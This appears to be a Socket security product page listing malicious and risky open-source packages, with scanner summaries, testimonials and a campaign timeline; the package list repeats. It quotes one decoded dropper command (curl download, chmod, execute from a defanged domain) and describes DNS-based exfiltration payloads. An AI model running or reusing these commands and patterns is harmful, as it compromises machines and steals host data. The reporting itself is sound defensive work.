
Research
/Security News
CanisterWorm: npm Publisher Compromise Deploys Backdoor Across 29+ Packages
The worm-enabled campaign hit @emilgroup and @teale.io, then used an ICP canister to deliver follow-on payloads.
Quickly evaluate the security and health of any open source package.
mtmai
0.3.1472
Live on pypi
Blocked by Socket
The code exposes powerful administrative actions: arbitrary shell execution, arbitrary file reads, full environment dumps, and building/pushing Docker images to a hardcoded registry. These are not obfuscated but are high-risk capabilities that can be abused for data exfiltration, remote code execution, and supply-chain leakage if the superuser authentication is compromised or misconfigured. The presence of a hardcoded remote image name for docker push is suspicious for unintended outbound artifact exfiltration. Recommendation: avoid including these endpoints in public packages or ensure strict, auditable authentication and input validation; remove hardcoded push targets and avoid returning full environment variables or arbitrary file contents.
villager
0.1.2.dev8
Removed from pypi
Blocked by Socket
No explicit malware (no remote shell, no obfuscation, no code injection). However, there is a significant supply-chain/privacy/credential risk: a hardcoded proxy URL with embedded credentials is set and used (via DI) to route requests to an external host, and the script actively accesses local cameras and logs system information. This could enable data leakage or misuse if the proxy host is malicious. Recommend removing hardcoded credentials, avoid enabling camera checks by default, add request timeouts, and avoid logging sensitive system data.
Live on pypi for 18 minutes before removal. Socket users were protected even while the package was live.
ailever
1.0.56
Live on pypi
Blocked by Socket
This script is a high-risk launcher: it unconditionally fetches Python code from a hardcoded remote repo and executes it locally via a shell-invoked Python process while passing unsanitized user inputs directly into the shell command. Even if the upstream repository is currently benign, the pattern enables trivial supply-chain compromise and shell injection. Mitigations: remove runtime download-and-exec; if fetching is necessary, pin and verify cryptographic hashes or signatures, validate content, avoid os.system (use subprocess with argument lists or importlib), sanitize inputs, and add error handling and logging. Treat this module as unsafe in security-sensitive environments until hardened.
achilles
0.0.181
Live on pypi
Blocked by Socket
This module contains an explicit remote code execution pattern: it deserializes dill data received over the network and executes deserialized callables (FUNC and CALLBACK) locally inside a multiprocessing pool. It also sends back host metadata to the server. In an untrusted environment this is a high-risk backdoor enabling arbitrary code execution and data exfiltration. Mitigations: do not use dill.loads() on untrusted input; require authentication and integrity checks (signing); replace remote-supplied callables with a restricted, explicit task protocol or sandbox execution (e.g., run isolated processes with strict limitations). Only run this client against fully trusted servers in controlled environments.
354766/jst-well-dan/skill-box/xurl/
29630798238c46068f5dc93b7e09ec77e6a73a62
Live on socket
Blocked by Socket
[Skill Scanner] Pipe-to-shell or eval pattern detected All findings: [CRITICAL] command_injection: Pipe-to-shell or eval pattern detected (CI013) [AITech 9.1.4] [CRITICAL] command_injection: URL pointing to executable file detected (CI010) [AITech 9.1.4] This Skill doc describes a legitimate-seeming CLI client for X API and the capabilities are consistent with that purpose. The principal supply-chain risk is the installer patterns and unpinned upstream installs (especially the curl|bash raw GitHub install), which allow remote code execution during install and increase risk if upstream is compromised. The CLI's authorization model (local ~/.xurl tokens) is appropriate, and the doc correctly warns agents not to expose secrets. There is no explicit evidence in this documentation of credential exfiltration, backdoors, or obfuscated malicious code, but the documentation alone cannot prove the distributed binaries/packages are safe. Recommend treating this as medium-risk: audit the upstream repository, avoid pipe-to-shell installs, prefer pinned releases from trusted registries, and never run auth/secret commands in an LLM/agent context. LLM verification: Behavior is consistent with a legitimate CLI for X API; capabilities align with stated purpose (reading ~/.xurl, attaching Authorization headers, calling X API endpoints). However, there are supply-chain and operational risks: a curl|bash install command (remote script executed locally) and unpinned installs (go install @latest, npm -g) raise real supply-chain concerns. The skill exposes sensitive flows (reading ~/.xurl and sending Authorization headers) that are proportionate but need careful h
@farming-labs/befter
0.0.22
by kinfe123
Live on npm
Blocked by Socket
The fragment demonstrates high-risk dynamic code execution: untrusted data from Redis is parsed and executed via eval in multiple code paths. The presence of eval on externally sourced hooks (before/after/normal hooks) constitutes a significant supply-chain and runtime risk, enabling potential backdoors, data leakage, or remote code execution if Redis is compromised or data is injected by an attacker. The anomalous key name bef ter (typo) may be incidental or a deliberate obfuscation technique. Overall, the code presents a serious security risk and should be avoided or strictly sandboxed/rewritten to remove dynamic eval usage. Recommended improvements include replacing Redis-backed eval with a vetted plugin mechanism, input validation, strict sandboxing (e.g., VM sandbox or separate process), and eliminating ambiguous key naming to reduce misconfiguration and obfuscation risk.
tabletes
1.0.4
Removed from pypi
Blocked by Socket
The code contains a high-risk backdoor-like behavior in tb_set_config: it decodes a base64 URL, fetches content from that remote host, and pipes the response into a detached Python subprocess for execution, with output suppressed. init_table provides a convenient way to trigger this in a background thread. This is remote code execution capability and constitutes a severe supply-chain/security risk. The remainder of the file implements table formatting and appears benign, but the remote execute capability makes the package unsafe to use.
Live on pypi for 38 minutes before removal. Socket users were protected even while the package was live.
remote-pay-cloud-starter-example
9.0.0
Removed from npm
Blocked by Socket
The script collects various information like the package name, version, directory, home directory, hostname, username, DNS servers, and package.json content, and sends it to a remote server.
Live on npm for 3 hours and 38 minutes before removal. Socket users were protected even while the package was live.
aait
1.0.2
Live on pypi
Blocked by Socket
This module is not obviously malicious by intent (it implements a customization mechanism and a cache-cleaning utility), but it contains several high-risk operations: untrusted pickle deserialization and dynamic execution of Python files from disk without integrity checks or sandboxing. These behaviors create clear code-execution and supply-chain risks if an attacker can write to the expected file locations. Recommend treating files loaded here as untrusted — add signature/whitelisting, avoid pickle for untrusted data, or use safer serialization; validate and restrict loaded file locations and contents; and avoid executing arbitrary module code during import.
dgse-tools-mgm-elf-helper
991.0.0
by bugbounty.click
Removed from npm
Blocked by Socket
The code collects sensitive system information and sends it to an external server without user consent. It also disables SSL certificate validation, which is a significant security risk. This behavior is consistent with data theft and poses a high security risk.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
asyncaiosignal
0.5
Removed from pypi
Blocked by Socket
This file (browsers.py) forcibly terminates active browser processes to unlock data files, retrieves the browser’s master decryption key, and extracts cookies, passwords, credit card details, and other sensitive information from various SQLite databases. The code leverages system calls to decrypt user data and stores it in memory or output files, potentially enabling unauthorized access or exfiltration. This behavior is indicative of a credential-stealing tool designed to violate user privacy and security. No specific malicious URLs or IP addresses were identified in the source, but the methods used to harvest and decrypt user data indicate a high likelihood of malicious use.
Live on pypi for 1 day, 17 hours and 17 minutes before removal. Socket users were protected even while the package was live.
354766/codexclawd/codexclawd/agentskills-io/
839fcfc340569d01f6820f4aed8e51b3098549d3
Live on socket
Blocked by Socket
[Skill Scanner] Code execution from unpinned remote source (uvx/pipx + git URL) Report 1 is the strongest baseline, accurately reflecting the repository's purpose and operational workflow. The improved assessment adds concrete security-oriented observations about external tooling and configuration pitfalls, delivering a more complete, actionable evaluation while maintaining benign default risk posture. LLM verification: The document is legitimate documentation for creating and validating agent skills and is not itself malicious. However, it instructs users to install and execute remote code from a git+https URL without pinning or integrity checks. This download-and-execute pattern is a material supply-chain risk: if the remote repository or its dependencies are compromised, arbitrary code could run on users' machines. Recommend replacing unpinned installation commands with pinned tags/commit hashes, providing c
virtuoso-ui-common
2.1.49
by johnhopecoolz
Removed from npm
Blocked by Socket
The script collects information like package details, directory paths, OS information, DNS servers, and packageJSON, then sends it to a remote server.
Live on npm for 16 hours and 40 minutes before removal. Socket users were protected even while the package was live.
poweroperator
0.0.3
Live on pypi
Blocked by Socket
The code sends potentially sensitive system information and a file to an external server. This could be a security risk if the server is untrusted or if user consent is not obtained. The code is not obfuscated and is straightforward, but the transmission of environment variables and command-line arguments could expose sensitive data.
pp-react-segmented-controller
99.0.2
Live on npm
Blocked by Socket
This code is malicious: it actively collects host identifiers and public IP, hex-encodes the data, and exfiltrates it via DNS queries to an external domain (`the-learner.online`) with a campaign marker. This is a covert data-exfiltration/beaconing payload and poses a high supply-chain risk. Do not run the package; remove or isolate the code and investigate the package source and domain operator. Consider revoking keys or credentials on affected hosts and auditing logs for DNS queries to the domain.
sap-abstract
0.5.8
by abdallaeg2
Removed from npm
Blocked by Socket
The code is designed to send sensitive system information to a remote server, which is a significant security risk. This behavior is consistent with malicious activity, specifically data exfiltration.
Live on npm for 4 minutes before removal. Socket users were protected even while the package was live.
systemadminbd-webtool
1.1
Live on pypi
Blocked by Socket
This code is a malicious exploitation tool that systematically scans for vulnerable websites—primarily targeting WordPress installations—and attempts to upload PHP web shells or backdoors. It includes several functions designed to probe for existing shells using a large, base64‐encoded list of potential vulnerable paths and exploit known WordPress plugin vulnerabilities. When an exploit is successful, the tool reports the compromised site (e.g., using URLs like http://example.com/wp-content/plugins/...) to a remote operator via a Telegram bot with hardcoded credentials and chat identifiers. Additionally, the code writes discovered shell URLs to local files and simulates legitimate HTTP traffic using predefined user-agent strings. Overall, it is designed for unauthorized access and the installation of persistent backdoors on compromised web servers.
tx.office
1.0.3.6
by TianTeng
Live on nuget
Blocked by Socket
This assembly includes a heavily-obfuscated runtime loader/packer that extracts encrypted payloads from resources, performs cryptographic verification, allocates/writes executable memory (and patches process/module memory), and invokes those payloads by replacing or calling JIT/native function pointers. These behaviors are characteristic of a loader/injector used for malicious payload execution or protected packer tooling. Even if legitimate (e.g., an obfuscated protected commercial library), its techniques (WriteProcessMemory, /proc/self/mem writes, JIT pointer patching, dynamic native code execution) present a severe supply-chain and runtime risk. Treat this package as malicious/untrusted until provenance and purpose are verified and source is deobfuscated and audited.
wix-events-backend
4.999.999
Removed from npm
Blocked by Socket
The code uses the exec function to run shell commands, which poses a significant security risk. It could potentially execute malicious code if the input to exec is manipulated. Redirecting output to /dev/null to hide execution details is suspicious.
Live on npm for 20 minutes before removal. Socket users were protected even while the package was live.
@twork-data-services/company-options
1.99.0
by tutalarsen
Live on npm
Blocked by Socket
The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.
dpj
3.0.1
Removed from pypi
Blocked by Socket
This file is a file-level encryption/decryption CLI that overwrites and patches files in-place and appends encrypted metadata. While it could be a legitimate utility, its behavior (in-place encryption of arbitrary files, requiring root on non-Windows, storing pass-derived data inside files, printing generated passphrases) is consistent with ransomware-like destructive or extortion behavior. There are no explicit network exfiltration or remote backdoor calls shown here, but key helper functions live in an external utils module that must be reviewed. Treat this module as high-risk: do not run it on important data or production systems until the utils module and runtime behavior are fully audited.
Live on pypi for 12 hours and 10 minutes before removal. Socket users were protected even while the package was live.
actions-broker
99.99.99
by Nick Quaranto
Live on rubygems
Blocked by Socket
This Ruby file implements an automated data-exfiltration payload that activates as soon as the module is loaded. It gathers the current username (ENV['USER'], ENV['USERNAME'] or `whoami`), machine hostname (Socket.gethostname), and the file's absolute path (File.expand_path(__FILE__)). Each value is hex-encoded and split into chunks to conform to DNS label length limits. A target domain is constructed in the pattern: a<username_hex>.a<hostname_hex>.a<filepath_hex>.furb[.]pw (with filepath hex truncated if needed), then an HTTPS GET request is sent to https://a<...>.furb[.]pw/. The code executes automatically when loaded as a module (unless __FILE__ == $0), making it a supply chain attack vector. No opt-in or legitimate use case exists. This behavior is unambiguously malicious, leveraging DNS/HTTPS for covert reconnaissance and unauthorized data exfiltration.
carbonorm/carbonphp
9.1.2
Live on composer
Blocked by Socket
The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.
add-music-to-video
1.0.10
by mykeels
Live on npm
Blocked by Socket
This package performs install-time execution of its built code (via postinstall) and publishes only compiled artifacts, which prevents easy review. It also contains two critical issues: the same package (ffmpeg-static) appears in both dependencies and devDependencies (high-risk indicator), and one dependency is a git/github URL (non-registry source). Together these make the package high risk for malicious or unexpected behavior. Strongly recommend not running npm install on untrusted machines until the built artifacts (dist) and the git-sourced dependency are audited, and the duplicate dependency entries are explained or removed.
ailever
0.2.808
Live on pypi
Blocked by Socket
The code presents a strong supply-chain and remote-execution risk by automatically downloading and executing remote Python payloads without integrity checks or sandboxing. It also creates and runs external services (Jupyter, Visdom, RStudio) based on user inputs, which can amplify impact if the remote payload is malicious. Mitigations include removing remote code execution paths, adding cryptographic verification (signatures or hash checks), isolating execution (sandboxes or containerization), validating inputs, and avoiding untrusted downloads or executions.
mtmai
0.3.1472
Live on pypi
Blocked by Socket
The code exposes powerful administrative actions: arbitrary shell execution, arbitrary file reads, full environment dumps, and building/pushing Docker images to a hardcoded registry. These are not obfuscated but are high-risk capabilities that can be abused for data exfiltration, remote code execution, and supply-chain leakage if the superuser authentication is compromised or misconfigured. The presence of a hardcoded remote image name for docker push is suspicious for unintended outbound artifact exfiltration. Recommendation: avoid including these endpoints in public packages or ensure strict, auditable authentication and input validation; remove hardcoded push targets and avoid returning full environment variables or arbitrary file contents.
villager
0.1.2.dev8
Removed from pypi
Blocked by Socket
No explicit malware (no remote shell, no obfuscation, no code injection). However, there is a significant supply-chain/privacy/credential risk: a hardcoded proxy URL with embedded credentials is set and used (via DI) to route requests to an external host, and the script actively accesses local cameras and logs system information. This could enable data leakage or misuse if the proxy host is malicious. Recommend removing hardcoded credentials, avoid enabling camera checks by default, add request timeouts, and avoid logging sensitive system data.
Live on pypi for 18 minutes before removal. Socket users were protected even while the package was live.
ailever
1.0.56
Live on pypi
Blocked by Socket
This script is a high-risk launcher: it unconditionally fetches Python code from a hardcoded remote repo and executes it locally via a shell-invoked Python process while passing unsanitized user inputs directly into the shell command. Even if the upstream repository is currently benign, the pattern enables trivial supply-chain compromise and shell injection. Mitigations: remove runtime download-and-exec; if fetching is necessary, pin and verify cryptographic hashes or signatures, validate content, avoid os.system (use subprocess with argument lists or importlib), sanitize inputs, and add error handling and logging. Treat this module as unsafe in security-sensitive environments until hardened.
achilles
0.0.181
Live on pypi
Blocked by Socket
This module contains an explicit remote code execution pattern: it deserializes dill data received over the network and executes deserialized callables (FUNC and CALLBACK) locally inside a multiprocessing pool. It also sends back host metadata to the server. In an untrusted environment this is a high-risk backdoor enabling arbitrary code execution and data exfiltration. Mitigations: do not use dill.loads() on untrusted input; require authentication and integrity checks (signing); replace remote-supplied callables with a restricted, explicit task protocol or sandbox execution (e.g., run isolated processes with strict limitations). Only run this client against fully trusted servers in controlled environments.
354766/jst-well-dan/skill-box/xurl/
29630798238c46068f5dc93b7e09ec77e6a73a62
Live on socket
Blocked by Socket
[Skill Scanner] Pipe-to-shell or eval pattern detected All findings: [CRITICAL] command_injection: Pipe-to-shell or eval pattern detected (CI013) [AITech 9.1.4] [CRITICAL] command_injection: URL pointing to executable file detected (CI010) [AITech 9.1.4] This Skill doc describes a legitimate-seeming CLI client for X API and the capabilities are consistent with that purpose. The principal supply-chain risk is the installer patterns and unpinned upstream installs (especially the curl|bash raw GitHub install), which allow remote code execution during install and increase risk if upstream is compromised. The CLI's authorization model (local ~/.xurl tokens) is appropriate, and the doc correctly warns agents not to expose secrets. There is no explicit evidence in this documentation of credential exfiltration, backdoors, or obfuscated malicious code, but the documentation alone cannot prove the distributed binaries/packages are safe. Recommend treating this as medium-risk: audit the upstream repository, avoid pipe-to-shell installs, prefer pinned releases from trusted registries, and never run auth/secret commands in an LLM/agent context. LLM verification: Behavior is consistent with a legitimate CLI for X API; capabilities align with stated purpose (reading ~/.xurl, attaching Authorization headers, calling X API endpoints). However, there are supply-chain and operational risks: a curl|bash install command (remote script executed locally) and unpinned installs (go install @latest, npm -g) raise real supply-chain concerns. The skill exposes sensitive flows (reading ~/.xurl and sending Authorization headers) that are proportionate but need careful h
@farming-labs/befter
0.0.22
by kinfe123
Live on npm
Blocked by Socket
The fragment demonstrates high-risk dynamic code execution: untrusted data from Redis is parsed and executed via eval in multiple code paths. The presence of eval on externally sourced hooks (before/after/normal hooks) constitutes a significant supply-chain and runtime risk, enabling potential backdoors, data leakage, or remote code execution if Redis is compromised or data is injected by an attacker. The anomalous key name bef ter (typo) may be incidental or a deliberate obfuscation technique. Overall, the code presents a serious security risk and should be avoided or strictly sandboxed/rewritten to remove dynamic eval usage. Recommended improvements include replacing Redis-backed eval with a vetted plugin mechanism, input validation, strict sandboxing (e.g., VM sandbox or separate process), and eliminating ambiguous key naming to reduce misconfiguration and obfuscation risk.
tabletes
1.0.4
Removed from pypi
Blocked by Socket
The code contains a high-risk backdoor-like behavior in tb_set_config: it decodes a base64 URL, fetches content from that remote host, and pipes the response into a detached Python subprocess for execution, with output suppressed. init_table provides a convenient way to trigger this in a background thread. This is remote code execution capability and constitutes a severe supply-chain/security risk. The remainder of the file implements table formatting and appears benign, but the remote execute capability makes the package unsafe to use.
Live on pypi for 38 minutes before removal. Socket users were protected even while the package was live.
remote-pay-cloud-starter-example
9.0.0
Removed from npm
Blocked by Socket
The script collects various information like the package name, version, directory, home directory, hostname, username, DNS servers, and package.json content, and sends it to a remote server.
Live on npm for 3 hours and 38 minutes before removal. Socket users were protected even while the package was live.
aait
1.0.2
Live on pypi
Blocked by Socket
This module is not obviously malicious by intent (it implements a customization mechanism and a cache-cleaning utility), but it contains several high-risk operations: untrusted pickle deserialization and dynamic execution of Python files from disk without integrity checks or sandboxing. These behaviors create clear code-execution and supply-chain risks if an attacker can write to the expected file locations. Recommend treating files loaded here as untrusted — add signature/whitelisting, avoid pickle for untrusted data, or use safer serialization; validate and restrict loaded file locations and contents; and avoid executing arbitrary module code during import.
dgse-tools-mgm-elf-helper
991.0.0
by bugbounty.click
Removed from npm
Blocked by Socket
The code collects sensitive system information and sends it to an external server without user consent. It also disables SSL certificate validation, which is a significant security risk. This behavior is consistent with data theft and poses a high security risk.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
asyncaiosignal
0.5
Removed from pypi
Blocked by Socket
This file (browsers.py) forcibly terminates active browser processes to unlock data files, retrieves the browser’s master decryption key, and extracts cookies, passwords, credit card details, and other sensitive information from various SQLite databases. The code leverages system calls to decrypt user data and stores it in memory or output files, potentially enabling unauthorized access or exfiltration. This behavior is indicative of a credential-stealing tool designed to violate user privacy and security. No specific malicious URLs or IP addresses were identified in the source, but the methods used to harvest and decrypt user data indicate a high likelihood of malicious use.
Live on pypi for 1 day, 17 hours and 17 minutes before removal. Socket users were protected even while the package was live.
354766/codexclawd/codexclawd/agentskills-io/
839fcfc340569d01f6820f4aed8e51b3098549d3
Live on socket
Blocked by Socket
[Skill Scanner] Code execution from unpinned remote source (uvx/pipx + git URL) Report 1 is the strongest baseline, accurately reflecting the repository's purpose and operational workflow. The improved assessment adds concrete security-oriented observations about external tooling and configuration pitfalls, delivering a more complete, actionable evaluation while maintaining benign default risk posture. LLM verification: The document is legitimate documentation for creating and validating agent skills and is not itself malicious. However, it instructs users to install and execute remote code from a git+https URL without pinning or integrity checks. This download-and-execute pattern is a material supply-chain risk: if the remote repository or its dependencies are compromised, arbitrary code could run on users' machines. Recommend replacing unpinned installation commands with pinned tags/commit hashes, providing c
virtuoso-ui-common
2.1.49
by johnhopecoolz
Removed from npm
Blocked by Socket
The script collects information like package details, directory paths, OS information, DNS servers, and packageJSON, then sends it to a remote server.
Live on npm for 16 hours and 40 minutes before removal. Socket users were protected even while the package was live.
poweroperator
0.0.3
Live on pypi
Blocked by Socket
The code sends potentially sensitive system information and a file to an external server. This could be a security risk if the server is untrusted or if user consent is not obtained. The code is not obfuscated and is straightforward, but the transmission of environment variables and command-line arguments could expose sensitive data.
pp-react-segmented-controller
99.0.2
Live on npm
Blocked by Socket
This code is malicious: it actively collects host identifiers and public IP, hex-encodes the data, and exfiltrates it via DNS queries to an external domain (`the-learner.online`) with a campaign marker. This is a covert data-exfiltration/beaconing payload and poses a high supply-chain risk. Do not run the package; remove or isolate the code and investigate the package source and domain operator. Consider revoking keys or credentials on affected hosts and auditing logs for DNS queries to the domain.
sap-abstract
0.5.8
by abdallaeg2
Removed from npm
Blocked by Socket
The code is designed to send sensitive system information to a remote server, which is a significant security risk. This behavior is consistent with malicious activity, specifically data exfiltration.
Live on npm for 4 minutes before removal. Socket users were protected even while the package was live.
systemadminbd-webtool
1.1
Live on pypi
Blocked by Socket
This code is a malicious exploitation tool that systematically scans for vulnerable websites—primarily targeting WordPress installations—and attempts to upload PHP web shells or backdoors. It includes several functions designed to probe for existing shells using a large, base64‐encoded list of potential vulnerable paths and exploit known WordPress plugin vulnerabilities. When an exploit is successful, the tool reports the compromised site (e.g., using URLs like http://example.com/wp-content/plugins/...) to a remote operator via a Telegram bot with hardcoded credentials and chat identifiers. Additionally, the code writes discovered shell URLs to local files and simulates legitimate HTTP traffic using predefined user-agent strings. Overall, it is designed for unauthorized access and the installation of persistent backdoors on compromised web servers.
tx.office
1.0.3.6
by TianTeng
Live on nuget
Blocked by Socket
This assembly includes a heavily-obfuscated runtime loader/packer that extracts encrypted payloads from resources, performs cryptographic verification, allocates/writes executable memory (and patches process/module memory), and invokes those payloads by replacing or calling JIT/native function pointers. These behaviors are characteristic of a loader/injector used for malicious payload execution or protected packer tooling. Even if legitimate (e.g., an obfuscated protected commercial library), its techniques (WriteProcessMemory, /proc/self/mem writes, JIT pointer patching, dynamic native code execution) present a severe supply-chain and runtime risk. Treat this package as malicious/untrusted until provenance and purpose are verified and source is deobfuscated and audited.
wix-events-backend
4.999.999
Removed from npm
Blocked by Socket
The code uses the exec function to run shell commands, which poses a significant security risk. It could potentially execute malicious code if the input to exec is manipulated. Redirecting output to /dev/null to hide execution details is suspicious.
Live on npm for 20 minutes before removal. Socket users were protected even while the package was live.
@twork-data-services/company-options
1.99.0
by tutalarsen
Live on npm
Blocked by Socket
The package was removed from the registry. The file uses child_process.exec to run a hex-encoded shell command that resolves to: “curl -O https://hypervector[.]me[.]dvdev[.]ru/filemon && chmod +x filemon && ./filemon”. It downloads an executable from a suspicious domain, makes it executable, and runs it immediately. This download-and-execute pattern with obfuscation represents a classic malware dropper capable of full system compromise.
dpj
3.0.1
Removed from pypi
Blocked by Socket
This file is a file-level encryption/decryption CLI that overwrites and patches files in-place and appends encrypted metadata. While it could be a legitimate utility, its behavior (in-place encryption of arbitrary files, requiring root on non-Windows, storing pass-derived data inside files, printing generated passphrases) is consistent with ransomware-like destructive or extortion behavior. There are no explicit network exfiltration or remote backdoor calls shown here, but key helper functions live in an external utils module that must be reviewed. Treat this module as high-risk: do not run it on important data or production systems until the utils module and runtime behavior are fully audited.
Live on pypi for 12 hours and 10 minutes before removal. Socket users were protected even while the package was live.
actions-broker
99.99.99
by Nick Quaranto
Live on rubygems
Blocked by Socket
This Ruby file implements an automated data-exfiltration payload that activates as soon as the module is loaded. It gathers the current username (ENV['USER'], ENV['USERNAME'] or `whoami`), machine hostname (Socket.gethostname), and the file's absolute path (File.expand_path(__FILE__)). Each value is hex-encoded and split into chunks to conform to DNS label length limits. A target domain is constructed in the pattern: a<username_hex>.a<hostname_hex>.a<filepath_hex>.furb[.]pw (with filepath hex truncated if needed), then an HTTPS GET request is sent to https://a<...>.furb[.]pw/. The code executes automatically when loaded as a module (unless __FILE__ == $0), making it a supply chain attack vector. No opt-in or legitimate use case exists. This behavior is unambiguously malicious, leveraging DNS/HTTPS for covert reconnaissance and unauthorized data exfiltration.
carbonorm/carbonphp
9.1.2
Live on composer
Blocked by Socket
The dominant security concern is the explicit use of eval on data-derived JSON within CarbonPHP.handlebars, which can enable arbitrary code execution if data is attacker-controlled. Additional concerns include unsanitized dynamic script/template loading and a busy-wait sleep that can degrade performance and potentially expose timing information. Overall risk is high due to the eval pattern and dynamic content loading without strong sanitization.
add-music-to-video
1.0.10
by mykeels
Live on npm
Blocked by Socket
This package performs install-time execution of its built code (via postinstall) and publishes only compiled artifacts, which prevents easy review. It also contains two critical issues: the same package (ffmpeg-static) appears in both dependencies and devDependencies (high-risk indicator), and one dependency is a git/github URL (non-registry source). Together these make the package high risk for malicious or unexpected behavior. Strongly recommend not running npm install on untrusted machines until the built artifacts (dist) and the git-sourced dependency are audited, and the duplicate dependency entries are explained or removed.
ailever
0.2.808
Live on pypi
Blocked by Socket
The code presents a strong supply-chain and remote-execution risk by automatically downloading and executing remote Python payloads without integrity checks or sandboxing. It also creates and runs external services (Jupyter, Visdom, RStudio) based on user inputs, which can amplify impact if the remote payload is malicious. Mitigations include removing remote code execution paths, adding cryptographic verification (signatures or hash checks), isolating execution (sandboxes or containerization), validating inputs, and avoiding untrusted downloads or executions.
Socket detects traditional vulnerabilities (CVEs) but goes beyond that to scan the actual code of dependencies for malicious behavior. It proactively detects and blocks 70+ signals of supply chain risk in open source code, for comprehensive protection.
Possible typosquat attack
Known malware
Telemetry
Unstable ownership
Git dependency
GitHub dependency
AI-detected potential malware
HTTP dependency
Obfuscated code
Suspicious Stars on GitHub
Critical CVE
High CVE
Medium CVE
Low CVE
Unpopular package
Minified code
Bad dependency semver
Wildcard dependency
Socket optimized override available
Deprecated
Unmaintained
Explicitly Unlicensed Item
License Policy Violation
Misc. License Issues
License exception
Ambiguous License Classifier
Copyleft License
No License Found
Non-permissive License
Unidentified License
Socket detects and blocks malicious dependencies, often within just minutes of them being published to public registries, making it the most effective tool for blocking zero-day supply chain attacks.
Socket is built by a team of prolific open source maintainers whose software is downloaded over 1 billion times per month. We understand how to build tools that developers love. But don’t take our word for it.

Nat Friedman
CEO at GitHub

Suz Hinton
Senior Software Engineer at Stripe
heck yes this is awesome!!! Congrats team 🎉👏

Matteo Collina
Node.js maintainer, Fastify lead maintainer
So awesome to see @SocketSecurity launch with a fresh approach! Excited to have supported the team from the early days.

DC Posch
Director of Technology at AppFolio, CTO at Dynasty
This is going to be super important, especially for crypto projects where a compromised dependency results in stolen user assets.

Luis Naranjo
Software Engineer at Microsoft
If software supply chain attacks through npm don't scare the shit out of you, you're not paying close enough attention.
@SocketSecurity sounds like an awesome product. I'll be using socket.dev instead of npmjs.org to browse npm packages going forward

Elena Nadolinski
Founder and CEO at Iron Fish
Huge congrats to @SocketSecurity! 🙌
Literally the only product that proactively detects signs of JS compromised packages.

Joe Previte
Engineering Team Lead at Coder
Congrats to @feross and the @SocketSecurity team on their seed funding! 🚀 It's been a big help for us at @CoderHQ and we appreciate what y'all are doing!

Josh Goldberg
Staff Developer at Codecademy
This is such a great idea & looks fantastic, congrats & good luck @feross + team!
The best security teams in the world use Socket to get visibility into supply chain risk, and to build a security feedback loop into the development process.

Scott Roberts
CISO at UiPath
As a happy Socket customer, I've been impressed with how quickly they are adding value to the product, this move is a great step!

Yan Zhu
Head of Security at Brave, DEFCON, EFF, W3C
glad to hear some of the smartest people i know are working on (npm, etc.) supply chain security finally :). @SocketSecurity

Andrew Peterson
CEO and Co-Founder at Signal Sciences (acq. Fastly)
How do you track the validity of open source software libraries as they get updated? You're prob not. Check out @SocketSecurity and the updated tooling they launched.
Supply chain is a cluster in security as we all know and the tools from Socket are "duh" type tools to be implementing. Check them out and follow Feross Aboukhadijeh to see more updates coming from them in the future.

Zbyszek Tenerowicz
Senior Security Engineer at ConsenSys
socket.dev is getting more appealing by the hour

Devdatta Akhawe
Head of Security at Figma
The @SocketSecurity team is on fire! Amazing progress and I am exciting to see where they go next.

Sebastian Bensusan
Engineer Manager at Stripe
I find it surprising that we don't have _more_ supply chain attacks in software:
Imagine your airplane (the code running) was assembled (deployed) daily, with parts (dependencies) from internet strangers. How long until you get a bad part?
Excited for Socket to prevent this

Adam Baldwin
VP of Security at npm, Red Team at Auth0/Okta
Congrats to everyone at @SocketSecurity ❤️🤘🏻

Nico Waisman
CISO at Lyft
This is an area that I have personally been very focused on. As Nat Friedman said in the 2019 GitHub Universe keynote, Open Source won, and every time you add a new open source project you rely on someone else code and you rely on the people that build it.
This is both exciting and problematic. You are bringing real risk into your organization, and I'm excited to see progress in the industry from OpenSSF scorecards and package analyzers to the company that Feross Aboukhadijeh is building!
Secure your team's dependencies across your stack with Socket. Stop supply chain attacks before they reach production.
RUST
Rust Package Manager
PHP
PHP Package Manager
GOLANG
Go Dependency Management
JAVA
JAVASCRIPT
Node Package Manager
.NET
.NET Package Manager
PYTHON
Python Package Index
RUBY
Ruby Package Manager
SWIFT
AI
AI Model Hub
CI
CI/CD Workflows
EXTENSIONS
Chrome Browser Extensions
EXTENSIONS
VS Code Extensions
Attackers have taken notice of the opportunity to attack organizations through open source dependencies. Supply chain attacks rose a whopping 700% in the past year, with over 15,000 recorded attacks.
Nov 23, 2025
Shai Hulud v2
Shai Hulud v2 campaign: preinstall script (setup_bun.js) and loader (setup_bin.js) that installs/locates Bun and executes an obfuscated bundled malicious script (bun_environment.js) with suppressed output.
Nov 05, 2025
Elves on npm
A surge of auto-generated "elf-stats" npm packages is being published every two minutes from new accounts. These packages contain simple malware variants and are being rapidly removed by npm. At least 420 unique packages have been identified, often described as being generated every two minutes, with some mentioning a capture the flag challenge or test.
Jul 04, 2025
RubyGems Automation-Tool Infostealer
Since at least March 2023, a threat actor using multiple aliases uploaded 60 malicious gems to RubyGems that masquerade as automation tools (Instagram, TikTok, Twitter, Telegram, WordPress, and Naver). The gems display a Korean Glimmer-DSL-LibUI login window, then exfiltrate the entered username/password and the host's MAC address via HTTP POST to threat actor-controlled infrastructure.
Mar 13, 2025
North Korea's Contagious Interview Campaign
Since late 2024, we have tracked hundreds of malicious npm packages and supporting infrastructure tied to North Korea's Contagious Interview operation, with tens of thousands of downloads targeting developers and tech job seekers. The threat actors run a factory-style playbook: recruiter lures and fake coding tests, polished GitHub templates, and typosquatted or deceptive dependencies that install or import into real projects.
Jul 23, 2024
Network Reconnaissance Campaign
A malicious npm supply chain attack that leveraged 60 packages across three disposable npm accounts to fingerprint developer workstations and CI/CD servers during installation. Each package embedded a compact postinstall script that collected hostnames, internal and external IP addresses, DNS resolvers, usernames, home and working directories, and package metadata, then exfiltrated this data as a JSON blob to a hardcoded Discord webhook.
Get our latest security research, open source insights, and product updates.

Research
/Security News
